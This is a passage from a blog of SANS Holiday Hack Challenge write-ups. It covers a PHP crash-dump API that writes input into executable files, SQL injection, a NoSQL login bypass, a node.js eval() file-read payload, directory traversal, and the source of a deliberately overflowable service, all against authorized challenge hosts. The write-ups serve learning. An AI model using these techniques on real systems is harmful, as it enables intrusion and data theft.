hc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K

This looks promising! Lets pipe it in base64 decode:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py | base64 -d
<?php 

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
 die("Request method must be POST\n");
}
 
# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
 die("Content type must be: application/json\n");
}
 
# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
 # If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
 die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
 $obj['operation'] !== "WriteCrashDump" and
 $obj['operation'] !== "ReadCrashDump"))
 {
 die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
 if ($obj['operation'] === "WriteCrashDump") {
 # Write a new crash dump to disk
 processCrashDump($obj['data']);
 }
 elseif ($obj['operation'] === "ReadCrashDump") {
 # Read a crash dump back from disk
 readCrashdump($obj['data']);
 }
}
else {
 # data key unset
 die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
 $basepath = "/var/www/html/docs/";
 $outputfilename = tempnam($basepath, "crashdump-");
 unlink($outputfilename);
 
 $outputfilename = $outputfilename . ".php";
 $basename = basename($outputfilename);
 
 $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
 file_put_contents($outputfilename, $crashdump_encoded);
 
 print <<<END
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
 $basepath = "/var/www/html/docs/";
 chdir($basepath); 
 
 if ( ! isset($requestedCrashdump['crashdump'])) {
 die("Fatal error! JSON key 'crashdump' must be set.\n");
 }

 if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
 die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
 }
 else {
 require($requestedCrashdump['crashdump'] . '.php');
 } 
}

?>

And I got my sixt mp3: discombobulated-audio-6-XyzE3N9YqKNH.mp3

Vulnerability for this System:

The API allows arbitrary calls to the API and even stores random unsanitized input inside of server-side executed .php files. This would be really funny if such horror-shows would not exist in the real world. Sadly they do!

A better way would be to collect the Debug Data and place it somewhere, where it is not publicly accessible and of course not in any kind of executable format! One way would be as Datablob in the Database or as txt files in the filesystem.

There also should not be a public readable Read function without authentication. A better way would be a properly authenticated Website to view the Debug Data.

Now to the last mp3:

The Mobile Analytics Server (post authentication)

The Elf living in the Trees pointed out you should run nmap always with -sC for script scanning so thats what I did:

MahcBook-Pro:~ sebastianbrabetz$ nmap -sC analytics.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 23:08 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.28s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https
| http-git: 
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc) 
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
Nmap done: 1 IP address (1 host up) scanned in 30.57 seconds

That looks interesting, a git repository! Lets wget and inspect that:

git2

Nice! The source code of the Analytics WebApp!

After digging around in the source code for a while something interested me in the query.php source:

 $query = "SELECT * ";
 $query .= "FROM `app_" . $type . "_reports` ";
 $query .= "WHERE " . join(' AND ', $where) . " ";
 $query .= "LIMIT 0, 100";

 if(isset($_REQUEST['save'])) {
 $id = gen_uuid();
 $name = "report-$id";
 $description = "Report generated @ " . date('Y-m-d H:i:s');
 $result = mysqli_query($db, "INSERT INTO `reports`
 (`id`, `name`, `description`, `query`)
 VALUES
 ('$id', '$name', '$description', '" . mysqli_real_escape_string($db, $query) . "')
 ");

 if(!$result) {
 reply(500, "Error saving report: " . mysqli_error($db));
 die();
 }

This looks injectable! Even though it uses mysqli_real_escape_string()! I guess the usage of the apostrophe as single tick is not covered by it…

Good thing there is also a sprusage.sql file in the git repository which gives me the exact layout of the mysql database!

So I intercepted the Website with Burp and played around with the query:

bildschirmfoto-2016-12-22-um-12-56-40Lets run this through repeater:

bildschirmfoto-2016-12-22-um-12-57-06

That looks fantastic! Lets look at it in the browser:

bildschirmfoto-2016-12-22-um-13-02-39

Nice now I have the administrator password!

Lets try to also grab the content of the mp3 table:

bildschirmfoto-2016-12-22-um-13-21-32

Okay looks like the UNION SELECT works! Now lets get creative with the query:

bildschirmfoto-2016-12-22-um-13-29-29

Lets forward this to the Browser:

bildschirmfoto-2016-12-22-um-13-39-25Now one last trick to get the mp3 blob out of there:

bildschirmfoto-2016-12-22-um-14-33-19Base64 to the rescue!!! I just needed to separate the two mp3s and run it through base64 -d…
Now I got my 7th and last mp3: discombobulatedaudio7.mp3

Vulnerability for this System:

User controlled variables were used inside an SQL query! Check out some OWASP presentations about Prepared Statements!

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Okay a recap of all 7 mp3s:

  1. SantaGram APK:
    discombobulatedaudio1.mp3
  2. The Mobile Analytics Server (via credentialed login access)
    discombobulatedaudio2.mp3
  3. The Dungeon Game
    discombobulatedaudio3.mp3
  4. The Debug Server
    debug-20161224235959-0.mp3
    a.k.a. discombobulatedaudio4.mp3
  5. The Banner Ad Server
    discombobulatedaudio5.mp3
  6. The Uncaught Exception Handler Server
    discombobulated-audio-6-XyzE3N9YqKNH.mp3
    a.k.a. discombobulatedaudio6.mp3
  7. The Mobile Analytics Server (post authentication)
    discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

To answer this question I joined the 7 mp3 with cat:

sebastianbrabetz$ cat *.mp3 > discombobulatedaudio1-7.mp3

Now lets load this up in audacity:

audacitySounds pretty sped up so I used the “change tempo” effect:

changetempoNow could nearly completely understand what is being said in the mp3:

Merry Christmas Santa Claus Or As I Was Known In Jeff(?)

So this must be the Passphrase for the last unopened door in the Corridor without the CranPi Interface:

clocktowerAHA! The Clock Tower!

Drumroll!

drwhoDr. Who kidnapped Santa and imprisoned him in a Reindeer Stable in 1978!!!

10) Why had the villain abducted Santa?

Errr… Because he is mentally Ill…

And thats when I got the Outro a second time:

outro1

outro2

Add On Challenge!

Collecting all 20 NetWars Coins! Here is the proof that I got them:

bildschirmfoto-2016-12-30-um-00-36-52

19 of the 20 Coins I could find with persistence and force of will, however the last sneaky one, on top of the NetWars Treehouse roof just did not want to be found the conventional way!

Thanks to @januszjasinski who gave me the Idea to cheat and remove the background object of the game:

bildschirmfoto-2016-12-24-um-22-35-42This way I was able to find the last missing coin! :-)

giphy

Epilogue: Bringing It All Home

This years Holiday Hack Challenge was awesome! I learned a lot and had a great time learning and solving the challenges!!!

I want to use this opportunity to thank all of you guys:

Ed Skoudis
Joshua Wright
Evan Booth
Bryce Galbraith
Tad Bennett
Franck Lecollinet
Phillip Smith
Tom Hessman
Daniel Pendolino
Brittiny Banks
Mike Cecil
Kimberly Elliott
Jim Halfpenny
Mark Baggett
Ron Bowes
Jeff McJunkin
Tim Medin
Lee Neely
Ninjula
Swing Republic
8 Bit Universe
Kendra Pendolino
Jason Blanchard
Laura Marchington
Lynn Schifano
Joshua Skoudis
Sabrina Smith
Ethan Wright
Tom VanNorman

And anyone else who helped making this happen! <3

Posted in miscellaneous | Leave a comment

Johnny – I hack Stuff – Cash?!

hqdefault

 

 

 

 

 

 

 

 

On A Monday I bought myself a modem (Uh Huh)
On A Tuesday I scanned the worldwide web (Oh Boy)
On A Wednesday my wordlist was cre-ated
On A Thursday Hydra said success and the boarder gateway fell…

I Got Shell —— Shell on your computer
I Got Root — Root on your machine
I Got Shell —— Shell on your computer
And them Jails —— them Jails They’re not about to slow me down

https://www.youtube.com/watch?v=R0LRpCv7siI

Am I the first to think of this?!

Posted in miscellaneous | Leave a comment

2015 SANS Holiday Hack Challenge Writeup (Walkthrough)

This year I learned of the SANS Holiday Hack Challenge for the first time and i’m glad i did! It was a totally awesome experience and must have been really time consuming to create. I especially liked it because the skills it teaches are all real world applicable, in contrast to some other VM’s / Challenges that feel more like puzzles.

So here comes my Walkthrough of the 2015 SANS Holiday Hack Challenge:

Disclaimer: The following Writeup sounds easier than it actually was! For the writeup’s sake I pretend that everything was straight-forward. However I struggled with a lot of the challenges for hours at least and it took a lot of persistence to get all of the following to work!

Intro: The Story

If you head to the Holiday Hack Challenge Website  you are presented with a funny story that sets up the following Challenges. Im not going to recap the entire story, go read that on the Website or in this Backup PDF of the Website.

Short and simple: A company is selling little Gnomes to put everywhere in your home as a game for the children. But beware the “Lead Children” of this story are nifty hackers and detect that the Gnome their father brought home is emitting WiFi Signals.

Part 1: Enter the Dosis Neighborhood

The Dosis Neighbourhood is a little browser game like those old Zelda like Adventure games. Inside the Neighbourhood you see other players running around and also NPCs wich are part of the story and hand out the actual challenges and give hints on how to solve them.

After a little running around you will find little Josh who will give you a link to the packet capture he created sniffing the gnomes traffic:

01-01-josh-pcap

Beside a pcap file giyh-capture.pcap you are also given a python script which leverages scapy to automatically extract data from the pcap file:

#!/usr/bin/env python

# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import * # This script reuotuires Scapy

# Read the capture file into a list of packets
packets=rdpcap("giyh-capture.pcap")

# Open the output file to save the extracted content from the pcap
fp=open("outfile","wb")

for packet in packets:

# Make sure this is a DNS packet, with the rdata record where the content is stored
if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):

# Make sure it's from the Gnome, not the server
if packet.sport != 53: continue

# Decode the base64 data
decode=base64.b64decode(packet[DNSRR].rdata[1:])

# Strip off the leading "FILE:" line in the decoded data
if decode[0:5] == "FILE:":
fp.write(decode[5:])

fp.close()

However Josh is asking our help because the script is not quite finished and the result needs some work.

Opening the pcap file in wireshark you are seeing a lot of WiFi Beacon Frame packets at first. Reading the provided python script and reading along the story and questions for part 1 it becomes clear that the pcap is about the DNS traffic. So if you filter out the WiFi Beacon Frames you are left with DNS and ARP Packets:

01-02 wireshark

Whats that? Base64 encoded Data in a DNS TXT response? This smells like Command & Controll / Data exfiltration via DNS!

Now to answer the questions of Part 1:

1) Which commands are sent across the Gnome’s command-and-control channel?

If you analyze the PCAP and the python script you quickly realize that the gnome is sending a big chunk of base64 encoded data, a picture, to the yet mysterious C&C Server: 52.2.229.189

So if you filter in the other direction (source port 53) you will get only the DNS Packets from the C&C Server to the Gnome. Now you could develop another Python script to extract the TXT DNS Data but I approached this by saving only the filtered packets to a new pcap file and running strings against it:

01-03 strings

A drawback of strings is that it grabs all ascii strings from the capture and not only the DNS TXT Part of the packet. If you compare the lines with the DNS TXT field of the packets in wireshark you see that you have to remove some characters from the above output.

The manually cleaned up base64 code can be easily decoded with burpsuite as you will also learn in the Dosis Neighbourhood:

01-04 burp

So here are the commands sent to the gnome:

NONE:
NONE:
NONE:
NONE:
NONE:
NONE:
NONE:
EXEC:iwconfig
NONE:
NONE:
NONE:
EXEC:cat /tmp/iwlistscan.txt
NONE:
NONE:
NONE:
NONE:
FILE:/root/Pictures/snapshot_CURRENT.jpg
NONE:
NONE:
NONE:

2) What image appears in the photo the Gnome sent across the channel from the Dosis home?

Now to the python script and the packets flowing in the other direction! As you are also given a hint in the Dosis Neighbourhood the base64 decoded jpg picture is missing the File-Header so it wont be rendered by picture viewers.

I grabbed a random sample jpg from the internet and compared it to the output file from the python script side by side:

01-05 hexcompare

If you look closely you will spot the JPG header in the 28th Hexword. Before that there is probably still code from the Command and Control Channel. If you strip that you are rewarded with the following picture:

01-06 outfile1

So to answer the question: A Childs bedroom with the Subtitle “GnomeNET-NorthAmerica” appears in the image that is sent over the C2 channel!

Part 2: Firmware analysis

Now if you tell little Josh the Subtitle of the Image in the Dosis Neighborhood you unlock Part2 of the challenge:

02-01 unlock

Now in the next room you will find hack sister Jessica. She used her hacking skills to extract the firmware from the gnome and already is hinting at a password buried inside the firmware:

02-02 firmware

Now strings wont help us much as the Linux Partition contained in the “squashed” together binary blob is gzipped and thus wont reveal many readable strings as is.

This can be verified by running binwalk over the firmware:

02-03 binwalk

To “unsquash” the Filesystem that is embedded in the Firmware we can use firmware-mod-kit. But first we have to isolate the Squashfs filesystem using dd before we can unsquash it:

02-04 dd

02-05 unsquash

Now we are presented with a Linux Filesystem:

02-06 firmware filesys

Let’s answer the questions for part 2:

3) What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?

If you have ever played around with OpenWRT you will quickly notice that this is infact OpenWRT. This can be deduced by looking at /etc/openwrt_release:

DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''

This suggests that an arm based architecture is used! We can verify this by using “file” on a key binary on the system:

root@kali:/opt/firmware-mod-kit/squashfs-root/bin# file sh 
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, stripped

4) What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?

A little digging around reveals that node.js and mongodb are being used and also the DB connection password can be found:

02-07 node mongo

As shown above two credential pairs can be leveraged from the database:

user:user
admin:SittingOnAShelf

Pay close attention to the order of the users in the Database, this will be important later on!

Part 3: Identifying the C&C servers and verifying the scope

Lets verify the admin password:

03-01 correct

And another hint is following:

03-02 next hint

Now Part 3 is jumping right to the questions:

5) What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?

I should sho Dan? And Shodan I did! For the C&C Server IP address from the initial packet capture:

03-03 shodan1

Okay lets take a destinctive string from that and search for that. Et voila, the rest of the “SuperGnomes” are revealed:

03-04 shodan2

Now where can i find this oracle called Hessman? I could tell you that I bumped into the Lynn NPC Character and took a look at the Office Tour saw that there are secret rooms in the office and spottet some Gnome Legs dangling out of one of the shelves:

03-05 office tour
Hi @edskoudis! Big fan!

But that would be bullshit… I was just standing long enough in that room to see other players disappear into the bookshelf so i went there as well! And there was the Hess-Racle:

03-06 secret room1

So I quickly verified that the 5 IP Addresses found on Shodan are In-Scope:

03-07 in scope

One thing I tried next should be familiar to every gamer out there. If you find something peculiar like a flaw in a game you exploit it everywhere you can. In this case the secret room that could be entered through a bookshelf was instantly drawing my attention. And i started to run into every wall and bookshelf I could find!

For some reason the upper right corner of this same room directly drew my attention:

03-08 room2

Maybe because I actually took the virtual office tour and remembered the 2nd secret room adjacent to the first one. Or because there is a little light bar shining under the secret door. But I really found the second secret room on my own right away:

03-09 room2 unlocked

Right now there is nothing here but later on you will find some magic cookies here that will progress the Dosis Neighborhood game!

6) Where is each SuperGnome located geographically?

As Shodan has revealed:

52.2.229.189 – Ashburne, United States, AWS
54.233.105.81 – Brazil, AWS
52.192.152.132 – Tokyo, Japan, AWS
52.64.191.71 – Sydney, Australia, AWS
52.34.3.80 – Boardman, United States, AWS

Part 4: Let the Hackfest beginn!

In the Dosis Neighborhood you get a task to track down the intern. One clue to his whereabouts can be obtained in the Netwars Convention Room in the Hotel:

04-01 have you seen

And Level 4 I saw! And it really elated me! Actual vulnerable Hosts on the Internet to hack. This is so much better than just hacking a vulnerable VM on my own computer! All this sophistication that went into this challenge to weave the browser game into the real world to teach real world applicable skills! Im still in awe!!!

Here are the questions for Part 4:

7) Please describe the vulnerabilities you discovered in the Gnome firmware.

8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file. YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE.” ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

This time im going to structure the answers to both questions according to the 5 IP Addresses/Super Gnomes (SG-01 – SG-05):

SG-01: Simple Password reuse

Vulnerability in the Gnome firmware: In this case the previously mentioned credentialset admin:SittingOnAShelf did the trick:

04-01 sg-01 1

On this SuperGnome the gnome.conf file could just be downloaded via the Webinterface:

04-02 sg-01 gnome conf

This drives home another important pentesting lesson! It’s not the goal to root / system all the machines. The goal is to steal the sensitive data! Operating Systems can be set up quickly, but if a simple circumstance gives an attacker access to the critical data (gnome.conf in this example) you don’t need full system compromise!

At this moment it also dawned on me that every SuperGnome has a different vulnerability that must be exploited t obtain the gnome.conf!

SG-02: Directory Traversal + Arbitrary Folder Creation 

Vulnerability in the Gnome firmware: For this SuperGnome two flaws in the Firmware needed be leveraged together. This was the most challenging SuperGnome for me as it took a bit stepping back and connecting the two separate flaws instead of focusing on just one flaw until it could be leveraged to get in.

First lets take a look at the Settings Upload source code in /www/routes/index.js:


// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
var filen = req.body.filen;
var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
var msgs = [];
var free = 0;
disk.check('/', function(e, info) {
free = info.free;
});
try {
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
} catch(e) {
if (e.code != 'EEXIST')
throw e;
}
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high?
msgs.push('Insufficient space! File creation error!');
}
res.msgs = msgs;
next();
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});

As you can see you can use this functionality to create arbitrary named directories. Don’t be fooled by the Insufficient Space error message! If you look closely you see that the directory will be created regardless of this if condition!

Now with this information lets look at the source code of the Camera Viewer Page:


// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
var camera = unescape(req.query.camera);
// check for .png
//if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
camera = camera + '.png'; // add .png if its not found
console.log("Cam:" + camera);
fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
if (e) {
res.end('File ./public/images/' + camera + ' does not exist or access denied!');
}
});
fs.readFile('./public/images/' + camera, function (e, data) {
res.end(data);
});
});

As you can see here the fs.access should allow directory traversal as you can request arbitrary files. However the code will check if the directory string contains “.png” at any place in the string and adds it ad the end if it is not found.

Now in the code above extracted from the Firmware this check is commented out and replaced by a mandatory addition of the “.png” extension. However on the 5 SuperGnomes this code deviates to produce individual vulnerabilities in them. So the Firmware kinda contains commented out clues to all of the SuperGnomes and shows how to fix them (kinda).

So with this knowledge lets create an arbitrary directory containing “.png” in its name first:

04-02 sg-02 settings upload

Now with this directory lets give the directory traversal a shot using the Camera Viewer code:

04-04 sg-02 gnome conf

Bingo gnome.conf obtained! Because “.png” is contained in the string it wont be appended to the end of the request!

The same can be done with Burp:

04-05 sg-02 gnome conf2

Using this vulnerability I was able to obtain all Files on the SuperGnome including the Packet Capture and the factory image.

SG-03: node.js MongoDB login bypass

Vulnerability in the Gnome firmware: The solution to this SuperGnome is actually quite easy as you get pretty detailed instructions in the Dosis Neighborhood: This Blogpost

So lets take a look at the affected Login Code obtained from the Firmware (again /www/routes/index.js):


// LOGIN POST
router.post('/', function(req, res, next) {
var db = req.db;
var msgs = [];
db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below. Really guys?
//db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
if (err || !user) {
console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
msgs.push('Invalid username or password!');
res.msgs = msgs;
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
} else {
sessionid = gen_session();
sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
console.log("User level:" + user.user_level);
res.cookie('sessionid', sessionid);
res.writeHead(301,{ Location: '/' });
res.end();
}
});

Again: The vulnerable code exatcly as it is described in the blogpost is commented out, however it is still in place on SG-03!

With all this informations it should have been easy to bypass the login, however  I struggled with the URLEncoded string and still cant get it to work using the URL Encoded string:

04-06 sg-03 url burp failed

This attempt failed:

04-07 sg-03 login failed
After discussing this a bit with a fellow player I learned that you can just swap the url encoded form output with a JSON object:

04-08 sg-03 json burp

Now it worked:

04-09 sg-03 login granted

If you are a keen observer you noticed that I placed “admin” in the username field instead of the “[$gt]=” operator! Remember when I pointed out that there is a credentialset “user:user” in the MongoDB that comes before the admin entry?
As described in the Blogpost the vulnerable DataBase request will grab the first matching user. So in order to get the admin login you need to specify the user while bypassing the password requirement!

With the login bypassed the gnome.conf and the other files were accessible via the File section just like on SG-01:

04-10 sg-03 gnome conf

SG-04: node.js eval() SSJS 

Vulnerability in the Gnome firmware: On this SuperGnome you have the ability to upload files when logging in with the aquired credentialset “admin:SittingOnAShelf”:

04-11 sg-04 file upload

Besides specifying a file to upload you can select a post-processing filter. Lets take at the http request in burp when uploading a file:

04-12 sg-04 burp

Here is the responsible java script function from the firmware:


// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
var msgs = [];
file = req.file.buffer;
if (req.file.mimetype === 'image/png') {
msgs.push('Upload successful.');
var postproc_syntax = req.body.postproc;
console.log("File upload syntax:" + postproc_syntax);
if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
msgs.push('Executing post process...');
var result;
d.run(function() {
result = eval('(' + postproc_syntax + ')');
});
// STUART: (WIP) working to improve image uploads to do some post processing.
msgs.push('Post process result: ' + result);
}
msgs.push('File pending super-admin approval.');
res.msgs = msgs;
} else {
msgs.push('File not one of the approved formats: .png');
res.msgs = msgs;
}
} else
res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
next();
});

Ahhh an eval() call! Giving the user of a web application control over an eval() function essentially means Server Side Code Execution by design! Or Server Side JavaScript execution short SSJS as explained thoroughly in this Blackhat Paper you are provided as a hint in the dosis neighborhood.

Also take notice of the mime-type check for “image/png”!

Now lets take those information and apply them to burp:

04-13 sg-04 gnome conf

This method worked fine for acquiring text files. However to download the two zipfiles containing the packet capture and the factory image this method did not work.

Instead a file read that encodes the data into base64 was required:


fs.readFileSync('/gnome/www/files/factory_cam_4.zip','base64')

Extracting the base64 text from this reply and decoding it provided the two zip files.

Using this vulnerability it should also be possible to obtain a remote shell by uploading arbitrary code (like a reverse shell) to the web server and executing it. But as I already obtained the files I required and other challenges were still waiting I did not pursue this path any further.

SG-05: BOF exploit in sgstatd

Vulnerability in the Gnome firmware: This was the most fun vulnerability to exploit of the 5 SuperGnomes!

Lets take a look at an nmap scan of SG-05:

04-33 sg05 nmap

Now if we only had a way to analyze this service on port 4242 more closely!

Lets go back to the Gnome firmware we got in the Dosis Neighborhood. When analyzing a firmware a good way to locate “custom code” is to check the init.d folder for interesting startscripts:

04-15 sg-05 initd

I actually looked at all start scripts. Two of them caught my eyes right away: “sgdnsc2” and sgstatd. For one because they are the only two scripts that do not seem to be native for an openwrt setup. Also sgdnsc2 clearly means “dns command and control” and thus is very suspicious!

This could be verified quickly by taking a peak inside:

04-16 sg-05 head sg

While checking up on the two binaries something strange could be learned:

04-17 sg-05 sgstatd intel binary

Only the sgdnsc2 binary is actually an ARM binary! The sgstatd binary is an Intel 32 bit binary. No wonder the comments in the init script point out that the binary is working fine in the dev environment but not on the gnome! The (fictitious) dev environment must be an  Intel 32bit platform and someone (fictitiously) forget to compile it for the ARM platform before including it in the gnome’s firmware!

Good for me because I can simply run it on my Kali! And see its also listening on Port 4242:

04-18 sg-05 sgstatd run

Note:

running unknown binaries from the internet without knowing what they do is neither good nor secure practice!!!  In this case however I trust the SANS institutes intention and I have a Snapshot of my Kali VM on hand if should break. 

But what would be a better practice? If you could obtain the source of the binary you could study it and compile the studied source code so you exactly know what the resulting binary will and will not do!

Good thing every other SuperGnome contained a file called “sgnet.zip” which includes the c sourcecode for both binaries:

04-19 sg-05 sourcecode

Another approach that is also mentioned in the Dosis Neighborhood would be statical binary analysis with Tools Like IDA Pro or Hopper. However binary analysis and Assembly is currently a bit over my head and from experience I know that I can develop an easy exploit without the sourcecode or a Disassembler.

I the future I will need to dive into this topic tough for sure!

So to continue with the sgstatd binary:

I looked at the obvious functions the command line provided me when connecting to the Server via TCP Port 4242:

04-20 sg-05 sgstatd functions

However none of the provided options let me write to a string that can be overflown!
So its time to look at the sourcecode. Here is the interesting part for this challenge:


#include "sgnet.h"
#include "sgstatd.h"
#include <unistd.h>

//user to drop privileges to
const char *USER = "nobody";
//port to bind and listen on
const unsigned short PORT = 4242;

int child_main(int sd) //handler for incoming connections
{
int choice = 0;
FILE *fp;
char path[1000];
char bin[100];

//printf("New Connection\n");
//printf("/bin/cat /home/grinch/flag.txt\n");
//system("/usr/bin/id");

if (choice != 2) {
write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51);
write(sd, "Please enter one of the following options:\n\n", 45);
write(sd, "1 - Analyze hard disk usage\n", 28);
write(sd, "2 - List open TCP sockets\n", 26);
write(sd, "3 - Check logged in users\n", 27);
fflush(stdout);

recv(sd, &choice, 1, 0);

switch (choice) {
case 49:
fp = popen("/bin/df", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path), fp) != NULL) {
sgnet_writes(sd, path);

}
break;

case 50:
fp = popen("/bin/netstat -tan", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);
}
break;

case 51:
fp = popen("/usr/bin/who", "r");
if (fp == NULL) {
printf("Failed to run command\n");
exit(1);
}
while (fgets(path, sizeof(path) - 1, fp) != NULL) {
sgnet_writes(sd, path);
}
break;

case 88:
write(sd, "\n\nH", 4);
usleep(60000);
write(sd, "i", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "n", 1);
usleep(60000);
write(sd, " ", 1);
usleep(60000);
write(sd, "c", 1);
usleep(60000);
write(sd, "o", 1);
usleep(60000);
write(sd, "m", 1);
usleep(60000);
write(sd, "m", 1);
usleep(60000);
write(sd, "a", 1);
usleep(60000);
write(sd, "n", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, " ", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "t", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "c", 1);
usleep(60000);
write(sd, "t", 1);
usleep(60000);
write(sd, "e", 1);
usleep(60000);
write(sd, "d", 1);
usleep(60000);
write(sd, "!\n\n", 4);
usleep(60000);
write(sd, "Enter a short message to share with GnomeNet (please allow 10 seconds) =>; ", 75);
fflush(stdin);
sgstatd(sd);

sgnet_writes(sd, "\nRequest Completed!\n\n");
break;

default:
write(sd, "Invalid choice!\n", 17);
break;

}
shutdown(sd, SHUT_WR);
}
return 0;
}

int sgnet_exit()
{
printf("Canary not repaired.\n");
exit(0);
}

int sgstatd(sd)
{
__asm__("movl $0xe4ffffe4, -4(%ebp)");
//Canary pushed

char bin[100];
write(sd, "\nThis function is protected!\n", 30);
fflush(stdin);
//recv(sd, &bin, 200, 0);
sgnet_readn(sd, &bin, 200);
__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t" // Canary checked
"jne sgnet_exit");
return 0;

}

int main(int argc, char **argv) //main function
{
(void)argc;
(void)argv;
printf("Server started...\n");
int sd;
//socket descriptor
sd = sgnet_listen(PORT, IPPROTO_TCP, NULL);
sgnet_server(sd, USER, child_main);
return 0;
}

